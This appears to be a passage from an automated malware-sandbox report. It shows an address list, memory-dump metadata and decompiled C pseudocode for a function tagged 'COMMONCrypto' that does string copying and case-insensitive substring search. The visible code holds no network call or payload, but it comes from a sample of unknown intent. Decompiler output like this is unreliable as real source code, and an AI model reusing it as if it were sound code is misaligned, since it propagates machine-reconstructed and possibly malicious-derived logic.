0x6ed4a94c
0x6ed4a953
0x6ed4a953
0x6ed4a955
0x6ed4a959
0x6ed4a961
0x6ed4a967
0x6ed4a974
0x6ed4a974
0x6ed4a867
0x6ed4a890
0x6ed4a890
0x6ed4a892
0x6ed4a893
0x6ed4a898
0x00000000
0x6ed4a898
0x6ed4a869
0x6ed4a86c
0x6ed4a871
0x00000000
0x00000000
0x6ed4a873
0x6ed4a875
0x6ed4a875
0x6ed4a876
0x6ed4a87b
0x6ed4a882
0x00000000
0x00000000
0x6ed4a884
0x6ed4a888
0x6ed4a88e
0x00000000
0x00000000
0x00000000
0x6ed4a88e
0x00000000
0x6ed4a875
0x6ed4a844
0x6ed4a849
0x6ed4a8a8
0x6ed4a8aa
0x6ed4a8ac
0x6ed4a8f5
0x6ed4a8f5
0x6ed4a8fa
0x6ed4a8fc
0x6ed4a904
0x6ed4a906
0x6ed4a909
0x6ed4a90b
0x6ed4a90d
0x6ed4a947
0x00000000
0x6ed4a947
0x6ed4a90f
0x6ed4a911
0x6ed4a93a
0x6ed4a93a
0x6ed4a93c
0x6ed4a93d
0x6ed4a942
0x00000000
0x6ed4a942
0x6ed4a913
0x6ed4a916
0x6ed4a919
0x6ed4a91b
0x00000000
0x00000000
0x6ed4a91d
0x6ed4a91f
0x6ed4a91f
0x6ed4a920
0x6ed4a925
0x6ed4a92a
0x6ed4a92c
0x00000000
0x00000000
0x6ed4a92e
0x6ed4a932
0x6ed4a936
0x6ed4a938
0x00000000
0x00000000
0x00000000
0x6ed4a938
0x00000000
0x6ed4a91f
0x6ed4a8b1
0x6ed4a8b3
0x00000000
0x00000000
0x6ed4a8b5
0x6ed4a8bc
0x6ed4a8c2
0x6ed4a8c5
0x6ed4a8c7
0x6ed4a8ca
0x6ed4a8ce
0x6ed4a8ce
0x6ed4a8d5
0x6ed4a8db
0x6ed4a8de
0x6ed4a8e1
0x00000000
0x00000000
0x6ed4a8e7
0x6ed4a8ec
0x6ed4a8ee
0x00000000
0x00000000
0x6ed4a8f0
0x6ed4a8f0
0x6ed4a8f3
0x6ed4a8f3
0x00000000
0x6ed4a8f3
0x6ed4a992
0x6ed4a996
0x6ed4a999
0x6ed4a99c
0x6ed4a99e
0x6ed4a9a0
0x00000000
0x00000000
0x6ed4a9a8
0x6ed4a9ab
0x6ed4a9af
0x6ed4a9b7
0x6ed4a9bf
0x6ed4a9c3
0x6ed4a9c7
0x6ed4a9cb
0x6ed4a9cf
0x6ed4a9d3
0x6ed4a9d7
0x6ed4a9e7
0x6ed4a9e7
0x6ed4a9e7
0x6ed4a9e9
0x6ed4a9eb
0x00000000
0x00000000
0x6ed4a9ed
0x6ed4a9ef
0x6ed4a9f1
0x6ed4aa5a
0x6ed4aa5a
0x6ed4aa5e
0x6ed4aa62
0x6ed4aa64
0x00000000
0x00000000
0x6ed4aa6a
0x6ed4aa6b
0x6ed4aa70
0x00000000
0x00000000
0x6ed4aa72
0x6ed4aa7a
0x6ed4aa7a
0x6ed4aa7f
0x6ed4aa7f
0x6ed4aa82
0x6ed4aa82
0x6ed4aa84
0x6ed4aa88
0x6ed4aa8c
0x6ed4aa93
0x6ed4aa99
0x6ed4aa9f
0x6ed4aaa2
0x6ed4aaa8
0x6ed4aaab
0x6ed4aaae
0x00000000
0x00000000
0x6ed4aaba
0x6ed4aabc
0x6ed4aac4
0x6ed4aac4
0x6ed4aac8
0x6ed4aaca
0x6ed4aacd
0x6ed4aacf
0x00000000
0x00000000
0x6ed4aad5
0x6ed4aad5
0x6ed4aad7
0x6ed4aad9
0x6ed4ab3a
0x6ed4ab3a
0x6ed4ab3d
0x6ed4ab5f
0x6ed4ab6b
0x6ed4ab6b
0x6ed4ab71
0x6ed4ab71
0x6ed4ab76
0x6ed4ab7a
0x6ed4ab7e
0x6ed4ab80
0x00000000
0x00000000
0x6ed4ab86
0x6ed4ab89
0x6ed4ab8b
0x00000000
0x00000000
0x6ed4ab8d
0x6ed4ab8f
0x6ed4ab95
0x6ed4aba8
0x6ed4aba8
0x6ed4abad
0x6ed4abb2
0x6ed4abb4
0x6ed4abb6
0x6ed4abb8
0x6ed4abbe
0x6ed4abbe
0x6ed4abc0
0x6ed4abc0
0x6ed4abc2
0x6ed4abc5
0x6ed4abc8
0x6ed4abca
0x6ed4ad2f
0x6ed4ad2f
0x6ed4ad39
0x6ed4ad3b
0x6ed4ad3e
0x6ed4ad40
0x6ed4ad42
0x6ed4ad7f
0x00000000
0x6ed4ad7f
0x6ed4ad44
0x6ed4ad46
0x6ed4ad6f
0x6ed4ad6f
0x6ed4ad71
0x6ed4ad72
0x6ed4ad77
0x00000000
0x6ed4ad77
0x6ed4ad48
0x6ed4ad4b
0x6ed4ad4e
0x6ed4ad50
0x00000000
0x00000000
0x6ed4ad52
0x6ed4ad54
0x6ed4ad54
0x6ed4ad55
0x6ed4ad5a
0x6ed4ad5f
0x6ed4ad61
0x00000000
0x00000000
0x6ed4ad63
0x6ed4ad67
0x6ed4ad6b
0x6ed4ad6d
0x00000000
0x00000000
0x00000000
0x6ed4ad6d
0x00000000
0x6ed4ad54
0x6ed4abd3
0x6ed4abd5
0x00000000
0x00000000
0x6ed4abdb
0x6ed4abdd
0x6ed4ac4d
0x6ed4ac52
0x6ed4ac52
0x6ed4ac55
0x6ed4ac58
0x6ed4ac5b
0x6ed4ac5d
0x6ed4ac70
0x6ed4ac73
0x6ed4ac73
0x6ed4ac79
0x6ed4ac81
0x6ed4ac81
0x6ed4ac81
0x6ed4ac82
0x6ed4ac89
0x6ed4ac93
0x6ed4ac97
0x6ed4ac98
0x6ed4ac9c
0x6ed4aca1
0x6ed4aca5
0x6ed4aca8
0x6ed4acaa
0x6ed4acac
0x6ed4acfc
0x00000000
0x6ed4acae
0x6ed4acae
0x6ed4acb0
0x6ed4acdf
0x6ed4acdf
0x6ed4ace1
0x6ed4ace2
0x6ed4ace6
0x6ed4acea
0x6ed4acef
0x6ed4acf3
0x6ed4acf7
0x6ed4acff
0x6ed4ad03
0x6ed4ad06
0x6ed4ad08
0x6ed4ad08
0x6ed4ad0a
0x00000000
0x00000000
0x6ed4ad10
0x6ed4ad1a
0x6ed4ad1a
0x6ed4ad1d
0x6ed4ad1e
0x6ed4ad21
0x6ed4ad23
0x00000000
0x00000000
0x6ed4ad25
0x6ed4ad27
0x6ed4ad8e
0x6ed4ad90
0x00000000
0x6ed4ad90
0x6ed4ad29
0x6ed4ad29
0x6ed4ad2b
0x6ed4ad99
0x00000000
0x6ed4ad99
0x6ed4ad14
0x6ed4ad17
0x6ed4ad17
0x6ed4ad17
0x6ed4ad1a
0x6ed4acb2
0x6ed4acb5
0x6ed4acb8
0x6ed4acba
0x6ed4acbd
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4acbf
0x6ed4acbf
0x6ed4acbf
0x6ed4acc0
0x6ed4acc5
0x6ed4acca
0x6ed4accc
0x00000000
0x00000000
0x6ed4acce
0x6ed4acd2
0x6ed4acd6
0x6ed4acd8
0x00000000
0x00000000
0x00000000
0x6ed4acd8
0x6ed4acda
0x6ed4acdd
0x6ed4acdd
0x00000000
0x6ed4acdd
0x6ed4acac
0x6ed4ac5f
0x00000000
0x6ed4ac5f
0x6ed4abe1
0x6ed4abe1
0x6ed4abe4
0x6ed4ac01
0x6ed4ac0d
0x6ed4ac0d
0x6ed4ac13
0x6ed4ac13
0x6ed4ac18
0x6ed4ac1c
0x6ed4ac20
0x6ed4ac22
0x00000000
0x00000000
0x6ed4ac28
0x6ed4ac2b
0x6ed4ac2d
0x00000000
0x00000000
0x6ed4ac2f
0x6ed4ac35
0x6ed4ac48
0x6ed4ac48
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4ac37
0x6ed4ac37
0x6ed4ac3b
0x6ed4ac3d
0x00000000
0x00000000
0x6ed4ac3f
0x6ed4ac40
0x6ed4ac46
0x00000000
0x00000000
0x00000000
0x6ed4ac46
0x00000000
0x6ed4ac37
0x6ed4adbf
0x6ed4adc4
0x00000000
0x6ed4adc4
0x6ed4abe6
0x6ed4abe8
0x6ed4abeb
0x00000000
0x00000000
0x6ed4abf2
0x6ed4abf2
0x6ed4abf4
0x6ed4abf4
0x6ed4abf8
0x6ed4abfa
0x00000000
0x00000000
0x6ed4abfc
0x6ed4abfd
0x6ed4abff
0x00000000
0x00000000
0x00000000
0x6ed4abff
0x00000000
0x6ed4abf4
0x6ed4abba
0x6ed4abbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4ab97
0x6ed4ab97
0x6ed4ab9b
0x6ed4ab9d
0x00000000
0x00000000
0x6ed4ab9f
0x6ed4aba0
0x6ed4aba6
0x00000000
0x00000000
0x00000000
0x6ed4aba6
0x00000000
0x6ed4ab97
0x6ed4adcb
0x6ed4adcd
0x6ed4adcf
0x6ed4add4
0x00000000
0x6ed4add4
0x6ed4ab3f
0x6ed4ab41
0x6ed4ab43
0x00000000
0x00000000
0x6ed4ab4a
0x6ed4ab4a
0x6ed4ab4c
0x6ed4ab50
0x6ed4ab52
0x00000000
0x00000000
0x6ed4ab58
0x6ed4ab59
0x6ed4ab5b
0x00000000
0x00000000
0x6ed4ab5d
0x6ed4ab5d
0x00000000
0x6ed4ab5d
0x6ed4ad87
0x00000000
0x6ed4ad87
0x6ed4aadb
0x6ed4aae0
0x6ed4aae2
0x6ed4aaea
0x6ed4aaec
0x6ed4aaef
0x6ed4aaf1
0x6ed4aaf3
0x6ed4ab30
0x00000000
0x6ed4ab30
0x6ed4aaf5
0x6ed4aaf7
0x6ed4ab20
0x6ed4ab20
0x6ed4ab22
0x6ed4ab23
0x6ed4ab28
0x00000000
0x6ed4ab28
0x6ed4aaf9
0x6ed4aafc
0x6ed4aaff
0x6ed4ab01
0x00000000
0x00000000
0x6ed4ab03
0x6ed4ab05
0x6ed4ab05
0x6ed4ab06
0x6ed4ab0b
0x6ed4ab10
0x6ed4ab12
0x00000000
0x00000000
0x6ed4ab14
0x6ed4ab18
0x6ed4ab1c
0x6ed4ab1e
0x00000000
0x00000000
0x00000000
0x6ed4ab1e
0x00000000
0x6ed4ab05
0x6ed4aabe
0x6ed4aabf
0x6ed4aac2
0x00000000
0x00000000
0x00000000
0x6ed4aac2
0x6ed4ade9
0x6ed4ade9
0x6ed4adec
0x00000000
0x00000000
0x6ed4adf6
0x6ed4adf8
0x00000000
0x00000000
0x6ed4adfe
0x6ed4ae02
0x6ed4ae02
0x6ed4ae04
0x6ed4ae04
0x6ed4ae0e
0x6ed4ae11
0x6ed4ae17
0x6ed4ae21
0x6ed4ae24
0x6ed4ae27
0x00000000
0x00000000
0x6ed4ae31
0x6ed4ae33
0x00000000
0x00000000
0x00000000
0x6ed4ae35
0x6ed4a9db
0x6ed4a9df
0x6ed4a9e3
0x00000000
0x6ed4a9e3
0x6ed4ae3a
0x6ed4adac
0x6ed4adac
0x6ed4adae
0x00000000
0x00000000
0x6ed4adb4
0x00000000
0x00000000
0x00000000
0x6ed4adba
0x6ed4a9f3
0x6ed4a9f7
0x6ed4a9f9
0x6ed4a9fd
0x6ed4a9ff
0x00000000
0x00000000
0x6ed4aa05
0x6ed4aa06
0x6ed4aa08
0x00000000
0x00000000
0x6ed4aa0a
0x6ed4aa12
0x00000000
0x6ed4aa12
0x6ed4ada0
0x00000000
0x6ed4aa16
0x6ed4aa22
0x6ed4aa26
0x6ed4aa26
0x6ed4aa2b
0x6ed4aa2b
0x6ed4aa30
0x6ed4aa34
0x6ed4aa38
0x6ed4aa3a
0x00000000
0x00000000
0x6ed4aa40
0x6ed4aa43
0x6ed4aa45
0x00000000
0x00000000
0x6ed4aa47
0x6ed4aa53
0x6ed4aa58
0x00000000
0x00000000
0x00000000
0x6ed4aa58
0x6ed4ae49
0x6ed4ae4e
0x6ed4ae52
0x00000000
0x6ed4ae58
0x6ed4a9e7
0x00000000
0x6ed4a849
0x6ed4a7d7
0x6ed4a7da
0x6ed4a7dd
0x6ed4a7df
0x00000000
0x00000000
0x6ed4a7e1
0x6ed4a7e4
0x6ed4a7e6
0x6ed4a7e6
0x6ed4a7e7
0x6ed4a7ec
0x6ed4a7f1
0x6ed4a7f3
0x00000000
0x00000000
0x6ed4a7f5
0x6ed4a7f9
0x6ed4a7fd
0x6ed4a7ff
0x00000000
0x00000000
0x00000000
0x6ed4a7ff
0x6ed4a801
0x00000000
0x6ed4a801
0x6ed4a7d1
0x6ed4a77f
0x00000000
0x6ed4a77f
0x6ed4a6f1
0x6ed4a6f1
0x6ed4a6f4
0x6ed4a714
0x6ed4a718
0x6ed4a724
0x6ed4a724
0x6ed4a72a
0x6ed4a72a
0x6ed4a72f
0x6ed4a733
0x6ed4a737
0x6ed4a739
0x00000000
0x00000000
0x6ed4a73f
0x6ed4a742
0x6ed4a744
0x00000000
0x00000000
0x6ed4a746
0x6ed4a74c
0x6ed4a763
0x6ed4a763
0x6ed4a768
0x00000000
0x00000000
0x00000000
0x00000000
0x6ed4a74e
0x6ed4a74e
0x6ed4a752
0x6ed4a754
0x00000000
0x00000000
0x6ed4a75a
0x6ed4a75b
0x6ed4a761
0x00000000
0x00000000
0x00000000
0x6ed4a761
0x6ed4a977
0x6ed4a977
0x6ed4a97a
0x6ed4a988
0x6ed4a97c
0x6ed4a97c
0x6ed4a97f
0x6ed4a97f
0x00000000
0x6ed4a97a
0x6ed4ae61
0x6ed4ae66
0x00000000
0x6ed4ae66
0x6ed4a6f6
0x6ed4a6f8
0x6ed4a6fa
0x00000000
0x00000000
0x6ed4a701
0x6ed4a701
0x6ed4a703
0x6ed4a703
0x6ed4a707
0x6ed4a709
0x00000000
0x00000000
0x6ed4a70f
0x6ed4a710
0x6ed4a712
0x00000000
0x00000000
0x00000000
0x6ed4a712
0x00000000
0x6ed4a703
0x6ed4a6de
0x00000000
0x6ed4a6de
0x6ed4a691
0x6ed4a6ba
0x6ed4a6ba
0x6ed4a6bc
0x6ed4a6bd
0x6ed4a6c2
0x00000000
0x6ed4a6c2
0x6ed4a693
0x6ed4a696
0x6ed4a69b
0x00000000
0x00000000
0x6ed4a69d
0x6ed4a69f
0x6ed4a69f
0x6ed4a6a0
0x6ed4a6a5
0x6ed4a6ac
0x00000000
0x00000000
0x6ed4a6ae
0x6ed4a6b2
0x6ed4a6b8
0x00000000
0x00000000
0x00000000
0x6ed4a6b8
0x00000000

Strings

@, xrefs: 6ED4A6CE

Memory Dump Source

Source File: 00000000.00000002.791906460.000000006ED31000.00000020.00020000.sdmp, Offset: 6ED30000, based on PE: true

Associated: 00000000.00000002.791898803.000000006ED30000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791929720.000000006ED65000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.791939935.000000006ED6B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.791948148.000000006ED6C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ae6b3e210800e4c3dadabf5ebb6fe57ad04fee7b8c08fcbeb00b4035cedc0044
Instruction ID: 6f5c96a3189ec165e0d30db9dd5bbbe0a424d32d16d5753f40970006abae38b4
Opcode Fuzzy Hash: ae6b3e210800e4c3dadabf5ebb6fe57ad04fee7b8c08fcbeb00b4035cedc0044
Instruction Fuzzy Hash: 293201B5A04713CBD3548FA9C46022AB3E2BFE4714B558A3DE8E59B394FB35D842C391

Uniqueness

Uniqueness Score: -1.00%

Function 6ED51EB0, Relevance: 1.9, Strings: 1, Instructions: 682
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6ED51EB0(intOrPtr* __ecx, void* __eflags, signed int* _a4, char _a8) {
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				void _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				char* _t210;
				signed int _t211;
				signed int* _t217;
				char* _t221;
				signed int* _t222;
				intOrPtr _t227;
				signed int _t232;
				signed int _t235;
				signed int _t239;
				signed int _t241;
				signed int* _t247;
				signed int _t248;
				signed int _t250;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t259;
				signed int _t260;
				signed int _t265;
				signed int _t273;
				signed int _t274;
				signed int _t275;
				char _t276;
				signed int _t278;
				signed int _t279;
				signed int _t282;
				signed int _t283;
				intOrPtr* _t286;
				signed int _t287;
				signed int _t291;
				signed int _t293;
				signed int _t294;
				void* _t296;
				signed int _t299;
				signed int _t300;
				signed int _t302;
				signed int _t303;
				char _t304;
				char _t305;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int _t317;
				signed int _t318;
				signed int _t319;
				void* _t320;
				signed int _t321;
				signed int _t322;
				signed int _t323;
				intOrPtr* _t325;
				char _t326;
				signed int _t327;
				intOrPtr* _t329;
				signed int _t330;
				signed int _t331;
				void* _t333;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				void* _t339;
				signed int _t340;
				signed int _t341;
				signed int _t342;
				void* _t343;
				intOrPtr* _t351;
				signed int _t352;
				signed int _t353;
				signed int _t355;
				char _t357;
				signed int _t360;
				signed int _t361;
				signed int _t366;
				char _t368;
				char _t369;
				char _t370;
				signed int _t372;
				unsigned int _t377;
				signed int _t379;
				intOrPtr _t381;
				signed int _t385;
				signed int _t386;
				signed char* _t392;
				signed int _t393;
				signed int _t395;
				signed int _t401;
				signed int _t402;
				unsigned int _t408;
				signed int _t410;
				void* _t411;
				signed int _t417;
				signed int _t421;
				signed int _t427;
				signed int _t428;
				void* _t431;

				_v56 = 0;
				_t286 = __ecx;
				_v52 = 0;
				_push(0x40);
				_t372 = E6ED41030();
				_t431 = (_t428 & 0xfffffff0) - 0x34 + 4;
				_t210 = _v56;
				if(_t210 == 0) {
					 *_t372 = 0;
				} else {
					if(_t372 != 0) {
						_t368 =  *_t210;
						 *_t372 = _t368;
						if(_t368 != 0) {
							_t319 = 0;
							while(1) {
								_t319 = _t319 + 1;
								_t369 =  *((char*)(_t210 + _t319 * 2 - 1));
								 *((char*)(_t372 + _t319 * 2 - 1)) = _t369;
								if(_t369 == 0) {
									goto L6;
								}
								_t370 =  *((char*)(_t210 + _t319 * 2));
								 *((char*)(_t372 + _t319 * 2)) = _t370;
								if(_t370 != 0) {
									continue;
								}
								goto L6;
							}
						}
					}
					L6:
					_push(1);
					_push(_t210);
					E6ED410B0();
					_t431 = _t431 + 8;
				}
				_t211 = _a8;
				_v52 = 0x40;
				_v56 = _t372;
				if(_t211 != 0) {
					__eflags = _t372;
					if(_t372 == 0) {
						_t302 = 0x40;
						_t401 = 0;
					} else {
						_t366 = _t372 & 0x0000000f;
						__eflags = _t366;
						if(_t366 == 0) {
							L15:
							asm("pxor xmm0, xmm0");
							_t427 =  ~( ~_t366 + 0x0000000f & 0x0000000f) + 0x7fffffff;
							__eflags = _t427;
							while(1) {
								asm("movdqu xmm1, [edi+edx]");
								asm("pcmpeqb xmm1, xmm0");
								asm("pmovmskb eax, xmm1");
								__eflags = _t211;
								if(_t211 != 0) {
									break;
								}
								_t366 = _t366 + 0x10;
								__eflags = _t366 - _t427;
								if(_t366 < _t427) {
									continue;
								} else {
									__eflags = _t427 - 0x7fffffff;
									if(_t427 >= 0x7fffffff) {
										L21:
										_t302 = 0x40;
										_t401 = 0x7fffffff;
									} else {
										while(1) {
											__eflags =  *((char*)(_t427 + _t372));
											if( *((char*)(_t427 + _t372)) == 0) {
												goto L174;
											}
											_t427 = _t427 + 1;
											__eflags = _t427 - 0x7fffffff;
											if(_t427 < 0x7fffffff) {
												continue;
											} else {
												goto L21;
											}
											goto L22;
										}
										goto L174;
									}
								}
								goto L22;
							}
							asm("bsf esi, eax");
							_t401 = _t427 + _t366;
							goto L174;
						} else {
							_t401 = 0;
							_t366 =  ~_t366 + 0x10;
							__eflags = _t366;
							while(1) {
								__eflags =  *((char*)(_t401 + _t372));
								if( *((char*)(_t401 + _t372)) == 0) {
									break;
								}
								_t401 = _t401 + 1;
								__eflags = _t401 - _t366;
								if(_t401 < _t366) {
									continue;
								} else {
									goto L15;
								}
								goto L22;
							}
							L174:
							__eflags = _t401 - 0xfffffffe;
							if(_t401 != 0xfffffffe) {
								_t302 = 0x40;
							} else {
								 *_t372 = 0;
								_t302 = _v52;
							}
						}
					}
					L22:
					_t20 = _t401 + 2; // 0x80000001
					_t320 = _t20;
					__eflags = _t320 - 0x40;
					_t321 =  <=  ? 0x40 : _t320;
					__eflags = _t302 - _t321;
					if(_t302 < _t321) {
						_t377 = (_t321 >> 5 >> 0x1a) + _t321 >> 6;
						_t322 = _t321 & 0x8000003f;
						__eflags = _t322;
						if(_t322 < 0) {
							_t322 = (_t322 - 0x00000001 | 0xffffffc0) + 1;
							__eflags = _t322;
						}
						__eflags = _t322;
						_t379 = _t377 + (0 | _t322 > 0x00000000) << 6;
						_push(_t379);
						_t303 = E6ED41030();
						_t431 = _t431 + 4;
						_t323 = _v56;
						__eflags = _t323;
						if(_t323 == 0) {
							 *_t303 = 0;
						} else {
							__eflags = _t303;
							if(_t303 != 0) {
								_t282 =  *_t323;
								 *_t303 = _t282;
								__eflags = _t282;
								if(_t282 != 0) {
									_v60 = _t379;
									_t283 = 0;
									__eflags = 0;
									_v64 = _t401;
									_v68 = _t286;
									while(1) {
										_t283 = _t283 + 1;
										_t299 =  *((char*)(_t323 + _t283 * 2 - 1));
										 *(_t303 + _t283 * 2 - 1) = _t299;
										__eflags = _t299;
										if(_t299 == 0) {
											break;
										}
										_t300 =  *((char*)(_t323 + _t283 * 2));
										 *(_t303 + _t283 * 2) = _t300;
										__eflags = _t300;
										if(_t300 != 0) {
											continue;
										}
										break;
									}
									_t379 = _v60;
									_t401 = _v64;
									_t286 = _v68;
								}
							}
							_push(1);
							_push(_t323);
							_v68 = _t303;
							E6ED410B0();
							_t303 = _v68;
							_t431 = _t431 + 8;
						}
						_v52 = _t379;
						_v56 = _t303;
					} else {
						_t303 = _v56;
					}
					 *((char*)(_t303 + _t401)) = _a8;
					_t217 =  &_v56;
					 *((char*)(_t401 +  *_t217 + 1)) = 0;
				} else {
					_t217 =  &_v56;
				}
				_t402 =  *_t217;
				if(_t402 == 0) {
					L39:
					_t325 = _a4;
					_push(0x40);
					 *_t325 = 0;
					 *((intOrPtr*)(_t325 + 4)) = 0;
					_t287 = E6ED41030();
					_t431 = _t431 + 4;
					_t221 =  *_a4;
					if(_t221 == 0) {
						 *_t287 = 0;
					} else {
						if(_t287 != 0) {
							_t326 =  *_t221;
							 *_t287 = _t326;
							if(_t326 != 0) {
								_t327 = 0;
								while(1) {
									_t327 = _t327 + 1;
									_t304 =  *((char*)(_t221 + _t327 * 2 - 1));
									 *((char*)(_t287 + _t327 * 2 - 1)) = _t304;
									if(_t304 == 0) {
										goto L45;
									}
									_t305 =  *((char*)(_t221 + _t327 * 2));
									 *((char*)(_t287 + _t327 * 2)) = _t305;
									if(_t305 != 0) {
										continue;
									}
									goto L45;
								}
							}
						}
						L45:
						_push(1);
						_push(_t221);
						E6ED410B0();
						_t431 = _t431 + 8;
					}
					goto L124;
				} else {
					_t227 =  *_t402;
					_v40 = _t227;
					if(_t227 != 0) {
						_v64 =  *_t286;
						_t307 = E6ED55A90( *_t286, _t402);
						__eflags = _t307;
						if(_t307 == 0) {
							_t329 = _a4;
							_push(0x40);
							 *_t329 = 0;
							 *((intOrPtr*)(_t329 + 4)) = 0;
							_t287 = E6ED41030();
							_t431 = _t431 + 4;
							_t232 =  *_a4;
							__eflags = _t232;
							if(_t232 == 0) {
								 *_t287 = 0;
							} else {
								__eflags = _t287;
								if(_t287 != 0) {
									_t330 =  *_t232;
									 *_t287 = _t330;
									__eflags = _t330;
									if(_t330 != 0) {
										_t331 = 0;
										__eflags = 0;
										while(1) {
											_t331 = _t331 + 1;
											_t308 =  *((char*)(_t232 + _t331 * 2 - 1));
											 *(_t287 + _t331 * 2 - 1) = _t308;
											__eflags = _t308;
											if(_t308 == 0) {
												goto L172;
											}
											_t309 =  *((char*)(_t232 + _t331 * 2));
											 *(_t287 + _t331 * 2) = _t309;
											__eflags = _t309;
											if(_t309 != 0) {
												continue;
											}
											goto L172;
										}
									}
								}
								L172:
								_push(1);
								_push(_t232);
								E6ED410B0();
								_t431 = _t431 + 8;
							}
							goto L124;
						} else {
							_t381 = _v40;
							_t235 = _t402 & 0x0000000f;
							_v36 = _t235;
							asm("pxor xmm0, xmm0");
							_v20 = _t402;
							_v44 = _t381 - 0x41;
							_v24 =  ~_t235 + 0x10;
							_v48 = _t381 + 0x20;
							_t333 = 0;
							__eflags = 0;
							while(1) {
								L49:
								_t385 = _t307;
								_t291 = _t307 + 1;
								__eflags = _t291;
								if(_t291 == 0) {
									break;
								}
								__eflags =  *(_t307 + 1);
								if( *(_t307 + 1) != 0) {
									__eflags = _v44 - 0x19;
									_t411 = _t333;
									_t268 =  <=  ? _v48 : _v40;
									_t269 =  <=  ? _v48 : _v40;
									_v60 = _t385;
									_v28 =  <=  ? _v48 : _v40;
									while(1) {
										_t411 = _t411 + 1;
										_t291 = _t291 + 1;
										_t392 = _t307 + _t411;
										_v32 = _t392;
										_t393 =  *_t392 & 0x000000ff;
										__eflags =  *((char*)(_t291 - 1)) + 0xffffffbf - 0x19;
										_t394 =  <=  ? _t393 + 0x20 : _t393;
										_t272 =  <=  ? _t393 + 0x20 : _t393;
										__eflags = ( <=  ? _t393 + 0x20 : _t393) - _v28;
										if(( <=  ? _t393 + 0x20 : _t393) == _v28) {
											break;
										}
										__eflags =  *_t291;
										if( *_t291 != 0) {
											continue;
										} else {
											L54:
											_t385 = _v60;
										}
										goto L55;
									}
									_t307 = _v32;
									_t355 = _v36;
									_t273 = _v24;
									do {
										_t395 = _t355;
										__eflags = _t355;
										if(_t355 == 0) {
											L136:
											_v24 = _t273;
											_t417 =  ~( ~_t395 + 0x0000000f & 0x0000000f) + 0x7fffffff;
											__eflags = _t417;
											_t274 = _v20;
											while(1) {
												asm("movdqu xmm1, [eax+edi]");
												asm("pcmpeqb xmm1, xmm0");
												asm("pmovmskb ebx, xmm1");
												__eflags = _t291;
												if(_t291 != 0) {
													break;
												}
												_t395 = _t395 + 0x10;
												__eflags = _t395 - _t417;
												if(_t395 < _t417) {
													continue;
												} else {
													_v20 = _t274;
													_t275 = _v24;
													__eflags = _t417 - 0x7fffffff;
													if(_t417 >= 0x7fffffff) {
														goto L144;
													} else {
														_t291 = _v20;
														while(1) {
															__eflags =  *((char*)(_t417 + _t291));
															if( *((char*)(_t417 + _t291)) == 0) {
																goto L161;
															}
															_t417 = _t417 + 1;
															__eflags = _t417 - 0x7fffffff;
															if(_t417 < 0x7fffffff) {
																continue;
															} else {
																_v20 = _t291;
																goto L144;
															}
															goto L179;
														}
														goto L161;
													}
												}
												goto L179;
											}
											asm("bsf esi, ebx");
											_v20 = _t274;
											_t417 = _t417 + _t395;
											_t275 = _v24;
											goto L162;
										} else {
											_t291 = _v20;
											_t395 = _t273;
											_t417 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((char*)(_t417 + _t291));
												if( *((char*)(_t417 + _t291)) == 0) {
													break;
												}
												_t417 = _t417 + 1;
												__eflags = _t417 - _t273;
												if(_t417 < _t273) {
													continue;
												} else {
													_v20 = _t291;
													goto L136;
												}
												goto L179;
											}
											L161:
											_v20 = _t291;
											L162:
											__eflags = _t417;
											if(__eflags == 0) {
												L144:
												_t417 = 0x7fffffff;
												goto L145;
											} else {
												if(__eflags > 0) {
													L145:
													_v68 = _t417;
													_t296 = 0;
													__eflags = 0;
													_v36 = _t355;
													_v24 = _t275;
													while(1) {
														_t276 =  *((char*)(_t296 + _t307));
														_t357 =  *((char*)(_t296 + _v20));
														__eflags = _t276 - 0x61 - 0x19;
														_t277 =  <=  ? _t276 - 0x20 : _t276;
														__eflags = _t357 - 0x61 - 0x19;
														_t278 =  <=  ? _t276 - 0x20 : _t276;
														_t358 =  <=  ? _t357 - 0x20 : _t357;
														_t359 =  <=  ? _t357 - 0x20 : _t357;
														__eflags = _t278 - ( <=  ? _t357 - 0x20 : _t357);
														if(__eflags < 0 || __eflags > 0) {
															break;
														}
														__eflags = _t278;
														if(_t278 == 0) {
															L150:
															asm("o16 nop [eax+eax]");
															_t385 = _v60;
															_t333 = 0;
															__eflags = 0;
															goto L151;
														} else {
															_t296 = _t296 + 1;
															__eflags = _t296 - _v68;
															if(_t296 < _v68) {
																continue;
															} else {
																goto L150;
															}
														}
														goto L179;
													}
													_t360 = _v36;
													_t279 = _v24;
													_t421 = _t307 + 1;
													__eflags = _t421;
													if(_t421 == 0) {
														goto L54;
													} else {
														__eflags = _v44 - 0x19;
														_t298 =  <=  ? _v48 : _v40;
														_t291 =  <=  ? _v48 : _v40;
														__eflags =  *(_t307 + 1);
														if( *(_t307 + 1) == 0) {
															goto L54;
														} else {
															_v36 = _t360;
															_v24 = _t279;
															while(1) {
																_t307 = _t307 + 1;
																_t421 = _t421 + 1;
																_t361 =  *_t307 & 0x000000ff;
																__eflags =  *((char*)(_t421 - 1)) + 0xffffffbf - 0x19;
																_t362 =  <=  ? _t361 + 0x20 : _t361;
																__eflags = ( <=  ? _t361 + 0x20 : _t361) - _t291;
																if(( <=  ? _t361 + 0x20 : _t361) == _t291) {
																	goto L159;
																}
																__eflags =  *_t421;
																if( *_t421 != 0) {
																	continue;
																} else {
																	goto L54;
																}
																goto L179;
															}
															goto L159;
														}
													}
												} else {
													_v36 = _t355;
													_t333 = 0;
													_v24 = _t273;
													_t385 = _v60;
													L151:
													__eflags = _t307;
													if(_t307 != 0) {
														goto L49;
													} else {
